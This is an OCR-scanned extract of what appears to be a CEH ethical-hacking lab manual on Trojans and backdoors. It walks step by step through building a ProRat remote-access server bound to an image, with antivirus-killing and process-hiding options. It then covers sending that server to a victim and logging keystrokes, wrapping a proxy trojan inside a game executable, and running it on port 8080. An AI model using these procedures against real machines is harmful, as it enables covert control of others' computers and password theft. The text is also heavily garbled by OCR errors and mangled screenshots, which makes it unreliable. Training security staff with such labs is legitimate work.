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Trojans and Backdoors

A Trojan is aprogram that contains a malicious or harmful code inside apparently
harmless programming or data in such a iray that it can get control and cause
damage, such as mining thefile allocation table on a hard drive.

Lab Scenario

According to Bank Into Security News (http://www.bankinfosecurity.com),
Trojans pose serious risks tor any personal and sensitive information stored 011
compromised Android devices, the FBI warns. But experts say any mobile
device is potentially at risk because the real problem is malicious applications,
which 111 an open environment are impossible to control. And anywhere
malicious apps are around, so is the potential for financial fraud.

According to cyber security experts, the banking Trojan known as citadel, an
advanced variant of zeus, is a keylogger that steals online-banking credentials by
capturing keystrokes. Hackers then use stolen login IDs and passwords to
access online accounts, take them over, and schedule fraudulent transactions.
Hackers created tins Trojan that is specifically designed for financial fraud and
sold 011 the black market.

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks, the
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objective of the lab include:
m Creating a server and testing a network for attack
m Detecting Trojans and backdoors
m Attacking a network using sample Trojans and documenting all

vulnerabilities and flaws detected

Lab Environment
To carry out tins, you need:
+ A computer mnning Window Server 2008 as Guest-1in virtual machine
' Window 7 mnning as Guest-2 in virtual machine
A web browser with Internet access

m  Administrative privileges to nin tools
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Lab Duration
Time: 40 Minutes

Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmtill code inside apparently
harmless programming Ol data 111 such a way that it can get control and cause
damage, such as mining die file allocation table 011a hard disk.

With the help of a Trojan, an attacker gets access to stored passwords in a
computer and would be able to read personal documents, delete files, display
pictures, and/01"show messages 011 the screen.

Lab Tasks

Pick an organization diat you feel is worthy of your attention. Tins could be an
Overview educational institution, a commercial company, 01" perhaps a nonprotit chanty.

TASK 1

Recommended labs to assist you widi Trojans and backdoors:

m Creating a Server Using the ProRat tool

m  Wrapping a Trojan Using One File EXE Maker

m  Proxy Server Trojan

m HTTP Trojan

m  Remote Access Trojans Using Atelier Web Remote Commander
Detecting Trojans
Creating a Server Using the Theet

m Creating a Server Using the Biodox

m Creating a Server Using the MoSucker

Hack Windows 7 using Metasploit

Lab Analysis

Analyze and document the results related to the lab exercise. Give your opinion 011
your target’s security posture and exposure dirough public and tree information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
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Lab

Creating a Server Using the ProRat
Tool

A Trojan is aprogram that contains malicious or harmful code inside apparent/)
harmless programming or data in such a way that it can get control and cause
damage, such as mining thefile allocation table on a hard drive.

Lab Scenario

As more and more people regularly use die Internet, cyber security is becoming
more important for everyone, and yet many people are not aware of it. Hacker
are using malware to hack personal information, financial data, and business
information by infecting systems with viruses, worms, and Trojan horses. But
Internet security is not only about protecting your machine from malware;
hackers can also sniff your data, which means that the hackers can listen to your
communication with another machine. Other attacks include spoofing,
mapping, and hijacking.

Some hackers may take control of your and many other machines to conduct a
denial-of-service attack, which makes target computers unavailable for normal
business. Against high-profile web servers such as banks and credit card
gateways.

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help suidents learn to detect Trojan and backdoor
attacks.

The objectives of the lab include:
m Creating a server and testing the network for attack

m Detecting Trojans and backdoors

CEH Lab Manual Page 427 Ethical Hacking and Countermeasures Copyright © by EC-Council

All Rights Reserved. Reproduction is Stricdy Prohibited.



Create Server
with ProRat

CEH Lab Manual Page 428

Module 06 - Trojans and Backdoors

Attacking a network using sample Trojans ancl documenting all
vulnerabilities and flaws detected

Lab Environment
To earn”tins out, you need:

m  The Prorat tool located at D:\CEH-Tools\CEHv8 Module 06 Trojans
and Backdoors\Trojans Types\Remote Access Trojans (RAT)\ProRat

m A computer running Windows Server 2012 as Host Machine
m A computer running Window 8 (Virtual Machine)
m  Windows Server 2008 running 1Virtual Machine

A web browser with Internet access

Administrative privileges to run tools

Lab Duration

Tune: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmful code inside apparently
harmless programming or data in such a way that it can get control and cause
damage, such as ruining die file allocation table on a hard drive.

Note: The versions of the created Client or Host and appearance of the website may
differ from what is 111 die lab, but the acmal process of creating the server and die
client is the same as shown 1ldiis lab.

Lab Tasks

Launch Windows 8 Virtual Machine and navigate to Z:\CEHv8 Module
06 Trojans and Backdoors\Trojans Types\Remote Access Trojans
(RAT)\ProRat.

2. Double-click ProRat.exe MlWindows 8 Virtual Machine.

3. Click Create Pro Rat Server to start preparing to create a server.
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PFIDHRCH.NnET F«OFES551C]f>HL IFfITEHNET M

Connect
English
PC Info Applications
Message Windows
Admin-FTP
Funny Stuff  File Manager
|Explorer Search Files
Control Panel Registry

Shut Down PC
Clipboard KeyLogger
Give Damage  Passwords
R. Downloder
Printer
Online Editor ProConnective
Create
'» Create Downloader Server (2 Kbayt)
Create CGlI Victim List (16 Kbayt)

"Help

FIGURE 1.1: ProRat main window

4. The Create Server window appears.

Create Server

ProConnective Notification (Network and Router)

Notifications Supports Reverse Connection

1y=J Password button: 0 Use ProConnective Notification Test
Retrieve passwords from
many services, such as General Settings IP (DNS) Address: »0U.no*Jp.com
pop3 accounts, messenger, Mail Notification
IE, mail, etc. S Doesn't support Reverse Connection
Bind with File . - Test
Q Use Mail Notification
E-MAIL: bomberman@yahoo.com
Server Extensions
ICQ Pager Notification
Doesn't suppoit Reverse Connection
Server lcon Q Use ICQ Pager Notification
icquin: [r] Test
CGI Notification
V\D Doesn't support Reverse Connection
Help Q Use CGI Notification Test
CGI URL: http://ww w.yoursite.com/cgi-bin/prorat. cgi
Server Size: 342 Kbayt Create Server
FIGURE 1.2: ProRat Create Server Window
5. Click General Settings to change features, such as Server Port. Server
Password, Victim Name, and the Port Number you wish to connect
over the connection you have to the victim or live the settings default.
6. Uncheck the highlighted options as shown 1l the following screenshot.
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Server Port:
Server Password:

General Settings Victim Name:
Q 3ive a fake error message.
Q «let server on install.

Q dIAV-FW on start.

Q disable Windows XP SP2 Security Center

Bind with File

Server Extensions l......Q Disable Windows XP Firewall.
Q Hear Windows XP Restore Points.
Server Icon Q )on't send LAN notifications from (i 92.i 68.”."] or (10.*.x.§

| IProtection for removing Local Server

Invisibility
Ity! Note: you can use Q Hfde Processes from A-II Task Ma.nagers. (9x/2k/IXP)
Dynamic DNS to connect Q Hide Values From All kind of Registry Editors (9x/2k/XP)
over the Internet by using Q Hide Names From Msconfig (9x/2k/KP)

no-ip account registration. Q UnTerminate Process (2k/XP)

Server Size: 342 Kbayt Create Server

r

FIGURE 1.3: ProRat Create Server-General Settings

7. Click Bind with File to bind the server with afile;111 tins labwe are
using the .jpg file to bind the server.

8. Check Bind server with a file. Click Select File,andnavigate to
Z:\CEHv8 Module 06 Trojans and Backdoors\Trojans Types\Remote
Access Trojans (RAT)\ProRat\Images.

9. Select the Girl.jpg file to bind withthe server.

m Clipboard: To read
data from random access

memory. This File will be Binded:
Bind with File
Server Extensions
Server Icon
Server Size: 342 Kbayt Create Server
1
r
FIGURE 1.4: ProRat Binding with a file
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10. Select Girl.jpg 111 the window and then click Open to bind the file.

Look in:
111°tn
£Q1 VNC Trojan starts a
VNC server daemon in the
infected system.
File name:
Files of type:

Images

Girl

Open

Cancel

FIGURE 15: ProRat binding an image

11. Click OK after selecting the image for binding with a server.

£9 File manager: To
manage victim directory for
add, delete, and modify.

12. 111 Server Extensions settings, select EXE (lias icon support) 111 Select
Server Extension options.

CEH Lab Manual Page 431

Ethical Hacking and Countermeasures Copyright © by EC-Council
All Rights Reserved. Reproduction is Stricdy Prohibited.



Module 06 - Trojans and Backdoors

I Select Server Extension
Notifications

A EXE (Has icon support) Q SCR (Has icon support)

General Settings Q PIF (Has no icon support) Q COM (Has no icon support)

Q BAT (Has no icon support)

Bind with File
Server Extensions

Server Icon

£Q Give Damage: To
format the entire system
files.

Server Size: 497 Kbayt Create Server

r

FIGURE 17: ProRat Server Extensions Settings

13. 111 Server lcon select any of the icons, and click the Create Server
button at bottom right side of the ProRat window.

Notifications
General Settings
Bind with File

Server Extensions
m It connects to the

victim using any VNC
viewer with the password Server Icon H U ]J.

“secret.”
V) Help JJ
Server Icon: Choose new Icon
Server Size: 497 Kbayt Create Server
|
FIGURE 1.8: ProRat creating a server
14. Click OK atter the server has been prepared, as shown 111 the tollowing
screenshot.
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FIGURE 1.9: PioRat Server has created 11l die same current directory

15. Now you can send die server file by mail or any communication media

to the victim’s machine as, for example, a celebration file to run.
£G SHTTPD is a small

HTTP server that can be Applicator Tools
embedded inside any Viewr Manage A&
program. It can be wrapped E M Preriew pane st Extralarge icons  Large icons "t N" © ttem checkboxes
with a genuine program ffi Details pane  ft| M5dun icons  ||j Small icons U™ O Filename extensions 1
(game clless.exe). When S tin 1i" Details 1 Hidden items
executed, it turns a Layout Showlhide
computer into an invisible 0 © A« TrcjansTypes » Femote Access Trojans (RAT) o
web server. & Favorites . ). Downlead
®  Desktop Irraces
£ Download} J . Language
B3] Recent places |~ bnded.server |
A IFnglish
P Libraries £ ProRat
F* Documtnte J__Readme
J* Music AT "rkéh
fcl Pictu'«c |_Version.Renewals
Qj Videos
Homegrojp
Computei

sL, Local Disk O
5? CEH-Tools (\\1a

(1 Network v
9items litem selected 208 MB

FIGURE 1.10: ProRat Create Server

16. Now go to Windows Server 2008 and navigate to Z:\CEHv8 Module 06
Trojans and Backdoors\Trojans Types\Remote Access Trojans
(RAT)\ProRat.

17. Double-click binder_server.exe as shown 11t the following screenshot.
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data in a protocol diat is
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P I To3n(Tr>« » Rencte Acrcs "roifirs RAT( * * PraRat ital

El+ idt ~w Tolc t#p

Mew Oroanize v "

Vb ke ks llsite H

i| ramiic
£ ?lcajres
A Music

More  »

Folders v fABeadne

Ji Botnet'rojars
~ Comnand Shell ~r0)s
Defacenent “ro:ars

11§ Yasn Rcxnos

J4 Destnjave T'ojans
Ebandng Trojans

J4 E-Mal T0'j3ns

JA FTP Trojar
GUITrojors
HTTPH IPS "rpjars

S ICMP Backdoor

J4 MACOSXTrojons

Ji Proxy Server Trojan:
Remote Access “rcj?-

*

I J. Apocalypse
X Atelie’ Web Remji
4 . DkCo'r«tRAT
j.. ProRat
. VNC' rojans H

I
|
|
£ Marl C S. . NewText Docuneil «No... | -0 [s} *

FIGURE 1.11: ProRat Windows Server 2008

18. Now switch to Windows 8 Virtual Machine and enter the IP address of
Windows Server 2008 and the live port number as the default 11l the

ProRat main window and click Connect.
19. M tins lab, the IP address of Windows Server 2008 is (10.0.0.13)

Note: IP addresses might be differ 111 classroom labs

F T ProRatV1.9

mum _ Poit

PC Info Applications
Message Windows
Chat Admin-FTP
Funny Stuff ~ Fle Manager
IExplorer Search Fles
Control Panel Registry
Shut Down PC ~ Screen Shot
Clipboard KeyLogger
Give Damage  Passwords
R. Downloder
Printer Services
Online Editor  ProConnective
Create

FIGURE 112: ProRat Connecting Infected Server

20. Enter the password you provided at the time ol creating the server and

click OK.
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Password:

OK Cancel

FIGURE 1.13: ProRat connection window

21. Now you are connected to the victim machine. To test the connection,
click PC Info and choose the system information as 11l the following
figure.

B fE~RAdA 9 1Comeded100 0.3 "H B B BAMAA Y - X1
PPDHPCH.nET PPOFES5IC1InFIL inTERFIET !

Poit; m Disconnect
m  Covert channels rely g r
on technigues called English IB 77777777 PC \nformation /7777777
tunneling, which allow one o 10
protocol to be carried over PCinfo  Applications o uter Name WIN-EGBHISG14L0
another protocol. Message Windows  ser Name Administrator
Chat Admin-FTP Windows Uer
Funny Stuff  File Manager  Windows Language English (United St
1Explorer Search Files Windows Path C :\W! ndows
Control Panel Registry System Path C :\Windows\systemc
Temp Path C:\Users\ADMINI~1\
Shut Down PC ~ Screen Shot Productld
Clipboard KeyLogger Workgroup NO
Give Damage  Passwords ~ Data 9/23/2012
R. Downloder Run L
Printer Services
Online Editor  F'roConnective System Information Mail Address in Registry
Create Last visited 25 web sites W; Help

Pc information Received.
FIGURE 1.14: ProRat connected computer widow

22. Now click KeyLogger to steal user passwords for the online system.

m TASK 2
[r~~roRa”~7”onnectedn0I0I0"3r~

PHOHRCH.NET PPGreSSIDnPL inTEPriET !
ik QjQ2 PAtg n iR Disconnect I I 111 h

//////// PC Information ////////

Attack System
Using Keylogger

PC Info Applications
y o ) Computer Name WIN-EGBHISG14L0
essage NAOWS — yser Name Administrator
Chat Admin-FTP Windows Uer
Funny Stuff  File Manager Windows Language English (United St
1Explorer Search Files Windows Path C :\W!ndows
Control Panel Registry System Path C :\Windows\systema
Temp Path C:\Users\ADHINI~1\
Shut Down PC  Screen Shot Productld
Clipboard KeyLogger Workgroup NO
Give Damage Passwords  Data 9/23/2012
R. Downloder Run L'
|
Printer Services
Online Editor ProConnective System Information Mail Address in Registry
Create Last visited 25 web sites W; Help

Pc information Received.

FIGURE 1.15: ProRat KeyLogger button
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m  Tliis Trojan works
like a remote desktop
access. The hacker gains
complete GUI access of
the remote system:

m Infect victim’s computer
with server.exe and plant
Reverse Connecting
Trojan.

m The Trojan connects to
victim’s Port to the
attacker and establishing
a reverse connection.

m Attacker then has
complete control over
victim’s machine.

m  Banking Trojans are
program that steals data
from infected computers
via web browsers and
protected storage.
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23. The KeyLogger window will appear.

FIGURE 1.16: ProRat KeyLogger window

24. Now switch to Windows Server 2008 machine and open a browser or
Notepad and type any text.

iText Document - Notepad
File Edit Format View Help
Hi there AP)

This is my username: xyz@yahoo.com
password: test<3@#S!@]|

1 A

FIGURE 1.17: Test typed in Windows Server 2008 Notepad

25. While the victim is writing a message or entering a user name and
password, you can capmre the log entity.

26. Now switch to Windows 8 Virtual Machine and click Read Log from
time to time to check for data updates trom the victim machine.
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=0/23/201211:55:28 PM-

ahi bob this is my usemame;xyzatyahoo.com
password; testshiftl buttowithl shiftbuttonwith2

| Read Log | Delete Log Save as Clear Screen Help

Mldlltn Neop 1 CO %
|KeyLog Received.
FIGURE 1.18: ProRat KeylLogger window
217. Now you can use a lot of feauires from ProRat on the victim’s machine.

Note: ProRat Keylogger will not read special characters.

Lab Analysis

Analyze and document die results related to die lab exercise. Give your opinion on
your target’s secunty posture and exposure dirough public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Questions
1. Create a server wkh advanced options such as Kill AV-FW on start, disable
Windows XP Firewall, etc., send it and connect it to the victim machine,
and verify whedier you can communicate with the victim machine.

2. Evaluate and examine various mediods to connect to victims if diey are 111
odier cities or countries.
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Tool/Utility

ProRat Tool

O Yes
Platform Supported

0 Classroom

Information Collected/Objectives Achieved
Successful creation of Blinded server.exe

Output: PC Information

Computer NameAYIN-EGBHISG 14L0O
User Name: Administrator

Windows Yer:

Windows Language: English (United States)
Windows Path: c:\windows

System Path: c:\windows\system 32
Temp Path: c:\Users\ADMIN I~
Product ID:

Workgroup: NO

Data: 9/23/2012

Internet Connection Required

0 !Labs
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Lab

Wrapping a Trojan Using One File
EXE Maker

A Trojan is aprogram that contains malicious or harmful cock inside apparently
harmlessprogramming or data in such a way that it canget controland cause
damage, such as mining thefile allocation table on a hard drive.

Lab Scenario

Sometimes an attacker makes a very secure backdoor even more safer than the
normal way to get into a system. A normal user may use only one password for
using the system, but a backdoor may need many authentications or SSH layers
to let attackers use the system. Usually it is harder to get into the victim system
from installed backdoors compared with normal logging 1l. After getting
control of the victim system by an attacker, the attacker installs a backdoor on
the victim system to keep 1l1s or her access in the future. It is as easy as running
a command on the victim machine. Another way the attacker can install a
backdoor is using ActiveX. Wlienever a user visits a website, embedded
ActiveX could run on the system. Most of websites show a message about
running ActiveX for voice chat, downloading applications, or verifying the user.
1M order to protect your system from attacks by Trojans and need extensive
knowledge on creating Trojans and backdoors and protecting the system from
attackers.

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help smdents learn to detect Trojan and backdoor
attacks.

The objectives of the lab mclude:
m  Wrapping a Trojan with a game 111 Windows Server 2008

m  Running the Trojan to access the game on the front end
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m  Analyzing the Trojan running in backend

Lab Environment

To carry out diis, you need:

' OneFileEXEMaker tool located at D:\CEH-Tools\CEHv8 Module 06
Trojans and Backdoors\Wrapper Covert Programs\OneFileExeMaker

m A computer running Window Server 2012 (host)

m  Windows Server 2008 running in virtual machine

m |t you decide to download the latest version, then screenshots shown
111 the lab might differ

m  Administrative privileges to run tools

Lab Duration

Tune: 20 Minutes

Overview of Trojans and Backdoors

A Trojan is a program diat contains malicious or harmful code inside apparendy
harmless programming or data 111 such a way that it can get control and cause
damage, such as ruining die hie allocation table on a hard drive.

Note: The versions of die created client or host and appearance may ditfer from
what is 111 die lab, but die actual process of connecting to die server and accessing
die processes is same as shown 111 dus lab.

Lab Tasks
1. Install OneFileEXEMaker on Windows Server 2008 Virtual Machine.

Senna Spy One EXE Maker 2000 2.0a

Senna Spy One EXE Maker 2000 - 2.0a

Official Website:  http://sennaspy.tsx.org

e-mail: senna_spyO holmall.com ICQ UIN 3973927
Join many files and make a unique EXE file.
This piogram allow join all kind of files: exe, dll. ocx. txt, jpg. bmp
Automatic OCX file register and Pack files support
Windows 9x. NT and 2000 compatible !

Short File Name Parameters 10 pen Mode |Copy To |Action
Command Line Parameters. Open Mode Copy To------  Action------ e
C Normal “Windows C Open/Execute ' Pack Fies?

C Maximized System C Copy Only

C Minimized C Temp

m Copyright (C). 1998-2000. By Senna Spy C Hide C Root

FIGURE 3.1: OneFile EXE Maker Home screen
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Click die Add File button and browse to the CEH-Tools folder at die
location Z:\\CEHv8 Module 06 Trojans and Backdoors\Games\Tetris and
add die Lazaris.exe hie.

Senna Spy One EXE Maker 2000 - 2.0a

Senna Spy One EXE Maker 2000 - 2.0a

Official Website: http://sennaspy tsx org
less! You can set various
tool options as Open e-mail: senna_spy@hotmall.com ICQ UN 3973927
mOde’ COpy to, Action Join many files and make a unique EXE file.
This program allow join all kind of files: exe. dll, ocx. txt, jpg, bmp .
Automatic OCX file register and Pack files support
Windows 9x. NT and 2000 compatible !

[short File Name |Parameters |Open Mode |Copy To |Action ! Add Fie
LAZARIS.EXE Hide System |Open/Execute
Getete
Save
Ejj*
Command Line Parameters Open Mode Copy To-----

C Normal C Windows (= Open/Execute
r Maximized (* System C Copy Only
C Minimized C Temp

Copyright (C). 1998-2000. By Senna Spy (5~ Hide C Root

FIGURE 3.2: Adding Lazaris game

3. Click Add File and browse to the CEH-Tools folder at die location
Z:\CEHv8 Module 06 Trojans and Backdoors\Trojans Types\Proxy Server
Trojans and add die mcafee.exe file.

Senna Spy One EXE Maker 2000 - 2.0a
Official Website: http://sennaspy.tsx.org
e-mail:  senna_spy@hotmail.com ICQ UIN 3973927
Join many files and make a unique EXE file.

This program allow join all kind of files: exe. dll. ocx. txt, jpg. bmp
Automatic OCX file register and Pack files support

& TOOIS Windows 9x. NT and 2000 compatible |
demonstrated in Short File Name Parameters |Open Mode |Copy To |Action Add Fie
- System Open/Execute

thls Iab are ISystem |Open/Execute Celete
available in Save
D:\CEH-
TOOIS\C E HV8 Command Line Parameters Open Mode Copy Tol----- Action---—- r PackFies?

i C Normal C Windows  (* OpervExecute !
Module 06 Trojans C Maximzed (* System  C CopyOnly

C Minimized ' Temp

and Backdoors Copyright |C|, 1998-2000. By Senna Spy  (* Hide C Root

FIGURE 3.3: Adding MCAFEE.EXE proxy server

4. Select Mcafee and type 808011l die Command Line Parameters field.
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Senna Spy One EXE Maker 2000 2.0a

Senna Spy One EXE Maker 2000 2.0 "a

Official Website  http ://sennaspy tsx org

e-mail: senna_spy@hotmail.com ICQ UIN: 3973927

Join many files and make a unique EXE file.
This piogram allow !loin all kind of files: exe. dIl. ocx. txt. jpg. bmp
Automatic OCX file legistei and Pack files support
Windows 9x. NT and 2000 compatible !

Short File Name Paiameters Open Mode Copy To Action
LAZARIS.EXE System Open/Execute
Open/Execute
Sae
Command Line Parameters Open Mode—  Copy To----—-
C Normal C Windows Open/Execute ™ P*kFles?
C Maximized (* System C  Copy Only
C  Minimized Temp
Copyright (C). 1998-2000. By Senna Spy " Hide C  Root

FIGURE 3.4: Assigning port 8080 to MCAFEE

5. Select Lazaris and check die Normal option in Open Mode.

Senna Spy One EXE Maker 2000 2.0a

Senna Spy One EXE Maker 2000 2.0 "a

Official Website: http ://sennaspy tsx org

e-mail:  senna_spy@hotmail.com ICQ UIN 39/3927

Join many files and make a unique EXE file.
This piogram allow join all kind of files: exe. dll. ocx. txt. jpg. bmp ...
Automatic OCX file register and Pack files support
Windows 9x. NT and 2000 compatible !

Add Fie
LAZARIS.EXE Notmal (System 10pen/Execute |
MCAFEE EXE 8080 Hide System Open/Execute Delete
Sae
Exit
Command Line Parameters Open Mode Copy To------  Action r .
L] TM C Windows (+ OpervExecute Pack Fies?
1 imized <o System C CopyOnly
C Minimized C Temp

~© 2 Copyright (C). 1998 2000. By Senna Spy C Hide C Root

FIGURE 3.5: Setting Lazaris open mode

Click Save and browse to save die tile on the desktop, and name die tile

Tetris.exe.
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Saven |K '-»*T00 2[ 0" ® a -~
1 Name = I-1 Size 1*1 Type 1*1 Date modified 1
e-mail: sennas

"Pubk

:m Computer

4* Network

®MoziaFrefbx 1KB Shortcut 9/18/2012 2:31 Af

£ Google Chrome 2KB Shortcut 9/18/2012 2:30 AT

C #
Short File Name [— Save- 1
MCAFEE.EXE (Executables (*.exe) N Cancel |
Sae
L Open Mode Copy To

(+ Normal C Windows (- Open/Execute " Pack Fies?
- C Maximized (* System C Copy Only
C Minimized (" Temp
Copyright (C), 1998-2000. By Senna Spy C Hide C Root

FIGURE 3.6: Trojan created

_ 7. Now double-click to open die Tetris.exe file. Tliis will launch die Lazaris
m  MCAFEE.EXE will

run in background gam€> 011 the tr0llte”" de

FIGURE 3.7: La2aris game

8. Now open Task Manager and click die Processes tab to check it McAfee
iS running.
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£J Windows Task Manager AD [* [

File Options View Help

Applications  Processes JServices | Performance J Networking | Users

Image... 1User Name { cpu] Memory (... | Description |
csrss.exe SYSTEM 00 1.464K ClientSer... 1
csrss.exe SYSTEM 00 1.736K Client Ser...
dwm.exe Admlnist... 00 1,200 K Desktop...
explorer.exe Admmist... 00 14,804 K Windows ...
LAZARIS.EXE ... Admlnist... 00 1.540K LAZARIS
Isass.exe SYSTEM 00 3,100 K Local Secu... -
Ism.exe SYSTEM 00 1.384K Local Sess...
1MCAFEE.EXE ... Admnst... 00 580 K MCAFEE
msdtc.exe NETWO... 00 2.832K MSDTCco...
Screenpresso.... Admirilst... 00 28.380K Screenpre...
services.exe SYSTEM 00 1.992K Services a...
SLsvc.exe NETWO... 00 6.748K Microsoft...
smss.exe SYSTEM 00 304 K  Windows ...
spoolsv.exe SYSTEM 00 3.588K Spooler S...
svchost.exe SYSTEM 00 13,508 K HostProc...
svchost.exe LOCAL ... 00 3.648 K HostProc... =
I* Show processes from all users gnc| process
|iPro:esses: 40 CPU Usage: 2°.c Physical Memory: 43°.'c

FIGURE 3.8: MCAFEE in Task manager

Lab Analysis

Analyze and document the results related to die lab exercise. Give your opinion 011
your target’s secunty posture and exposure dirough public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Tool/Utility Information Collected/Objectives Achieved

EXE Maker Output: Using a backdoor execute Tetris.exe

Questions

1. Use various odier options for die Open mode, Copy to, Action sections of
OneFileEXEMaker and analyze the results.

2. How you will secure your computer from OneFileEXEMaker attacks?
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Internet Connection Required
O Yes
Platform Supported

0 Classroom

0 No

0 iLabs
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Proxy Server Trojan

A. Trojan is aprogram that contains malicious or harmful coce inside apparently
harmless programming or data in such a )ray that it can get control and cause
damage, such as mining thefile allocation table on a hard drive.

Lab Scenario

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
theft of valuable data from the network, and identity theft.

Lab Objectives

The objective of tins lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of tins lab include:
e Starting McAfee Proxy

e Accessing the Internet using McAfee Proxy

Lab Environment

To carry out diis, you need:

m  McAfee Trojan located at D:\CEH-Tools\CEHv8 Module 06 Trojans and
Backdoors\Trojans Types\Proxy Server Trojans

m A computer running Window Server 2012 (host)
m  Windows Server 2008 running in virtual machine

m [fyou decide to download the latest version, then screenshots shown
111 the lab might differ

You need aweb browser to access Internet

Administrative privileges to mn tools

Lab Duration

Time: 20 Minutes
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Overview of Trojans and Backdoors

A Trojan is a program that contains malicious or harmful code inside apparently
harmless programming or data 111 such a way that it can get control and cause
damage, such as ruining die hie allocation table 011 a hard drive.

Note: The versions of the created cclient or host and appearance may differ from
what it is 111 die lab, but die actual process of connecting to die server and accessing

die processes is same as shown 111 diis lab.

£ TASK Lab Tasks
Proxy server - 1
Mcafee

In Windows Server 2008 Virtual Machine, navigate to Z:\CEHv8
Module 06 Trojans and Backdoors\Trojans Types, and right-click

Proxy Server Trojans and select CmdHere from die context menu.

jrac >

Pit  Ed

orgsnce » Veas  *

F

|im * CD-v3'1educ05Tro:0%«nd30ccdo0f3 - “rojanaTypes

it view

pi Documents

£ Picture
A Miflic

ex

“tore »

Folders

Toos ndp

s's@ 1"

Nn"s - - C*»nodricd M Tvp#
j. BI*d0arryT0)jn

3 Toj*tk

Jf Canrund Sh*| "rajjin*

Jj D*tre’wetT'ajark

Jf Destruetve Trojans

Jt Swoonc Trojans

M Sat M

W ME-fdl r3:3rs

Ji Reosrv Montor %

|. st
IA

- -

artup P'egrarr* W
ojansT/pes
3ladd>e’ry Trojan

. Comrrand Srel Trt

3ef3GemertTrojas

. 3estrjc&e “rojor

-banbrgT-gjarts
Trojers
“APT'cjon

. SUITojans

-TIP trr'P5Troa
:CKPBdCkdCOr

Proxy Se'ver Irojf

Jg \\35PtOtv TrQ*

LotinmiGH T

JKFT irojar
Jt GJ: Trojans
JIMTPh-TTFST'Ojans
JOPBACW 00~
.MACOSXTtoaTs

R=NCIC A o
Jt WC"raja
Rystora previOLS versions
SerdTo >

Qit
caov

C'eare9xjrtcjt
Delete
Rename

Prooenes

FIGURE 4.1: Windows Server 2008: CmdHere

2. Now type die command dir to check for folder contents.

3. The following image lists die directories and files 111 the folder.
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FIGURE 4.2: Directory listing of Proxy Server folder
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-1n| x

|Z:\CEHv8 Module 06 Trojans and BackdoorsSTrojans Types\Proxy Server Trojans>dir
| Uolune in drive Z has no label.
I Uolune Serial Number is 1677-7DAC

| Directory of Z:\CEHv8 Module 06 Trojans and BackdoorsVTrojans Types\Proxy Serve
Ir Trojans

109/19/2012 01:07 AV <DIR>

109/19/2012 01:07 AM  <DIR>

102/17/2006 11:43 AM 5,328 ncafee.exe

109/19/2012 01:07 AM  <DIR> W3bProxy Tr0j4nCr34t0r <Funny Nane>
1 Fiille2s> 5,328 bytes
3 Dir<s> 208,287,793,152 bytes free

Z:\CEHv8 Module 06 Trojans and BackdoorsSTrojans Types\Proxy Server Trojans>—

FIGURE 4.3: Contents in Proxy Server folder

Type die command mcafee 8080 to mil the service 111 Windows Server
2008.

FIGURE 4.4: Starting mcafee tool on port 8080
The service lias started 011 port 8080.

Now go to Windows Server 2012 host machine and contigure the web
browser to access die Internet 011 port 8080.

M diis lab launch Clirome, and select Settings as shown 1l die
following figure.

Q 2 wwagoogtorofv m

* cpj
lo*r icot + O

Google

XjnaNCMm-

wine
FIGURE 4.5: Internet option of a browser in Windows Server 2012
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8. Click the Show advanced settings 111kto view the Internet settings.

FIGURE 4.6: Advanced Settings of Chrome Browser

9. 111 Network Settings, click Change proxy settings.
C 0 chreynovidVOiM Mitnpt/

1 Clvotue Settings

4 Bnitdir AtaMitc MM *Otom n*u«goxt, VUu)tAdofllnflf(

Mimeric
Googit Oncfit i UKrss>Sm hOfc
| OwypwstBnijt-
it (UMthjtwepr 1PjuS<d w

Oownoads
Qowrlaedkeabot; C.IherrAi mncti RQG;:N
U Ast»hw lﬂll «litMm dwxd0=<Q

MTTPSSM

FIGURE 4.7: Changing proxy settings of Chrome Browser

10. 111 die Internet Properties window click LAN settings to configure
proxy settings.
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Internet Properties

General [ Security ] Privacy ] Content Connections |Programs ] Advanced

To setup an Internet connection, dick Setup
Setup.

Dial-up and Virtual Private Network settings

Choose Settings if you need to configure a proxy
server for a connection.

(*) Never cfal a connection

O Dial whenever a network connection is not present

O Always dal my default connection

Current None Sgt default

Local Area Network (LAN) settings

LAN Settings do not apply to dial-up connections, | LAN settings \
Choose Settings above for dial-up settings.

OK 11 Cancel J ftpply

FIGURE 4.8: LAN Settings ofa Chrome Browser

11. 11 die Local Area Network (LAN) Settings window, select die Use a
proxy server for your LAN option 111 the Proxy server section.

12. Enter die IP address of Windows Server 2008, set die port number to
8080, and click OK.

FT Local Area Network (LAN) Settings

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

@ Automatically detect settings
N Use automatic configuration script

Address

Proxy server

Use a proxy server for your LAN (These settings will not apply to
dial-up or VPN connections).

Address: 10.0.0.13 Port: 8080

Advanced

| 1Bypass proxy server for local addresses!

OK Cancel

FIGURE 4.9: Proxy settings of LAN in Chrome Browser

13. Now access any web page 11 die browser (example: www.bbc.co.uk).
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FIGURE 4.10: Accessing web page using proxy server
14. The web page will open.

15. Now go back to Windows Server 2008 and check die command
prompt.

Administrator C:\Wmdow*\sy*tem32\cmd.exe - mcafee 8080

www.google.co : /conplete/search?sugexp=chrome,nod=18&client =chrone8rhl=er :1200
.Us8rgq=bbc.co- |
Accepting New Requestsm
www.google.co :1200 Iconplete/search?sugexp=chrome,nod=188tc lientschrone8rhl=en
I~US&q=bbc.co.u
Accepting New Requests!
Accepting New Requests!
Accepting New Requem * * TN
/conplete/search?sugexp=chroroe,nod=188tc lient=chrone8thl=er
I-US&a=bbc.co.uk
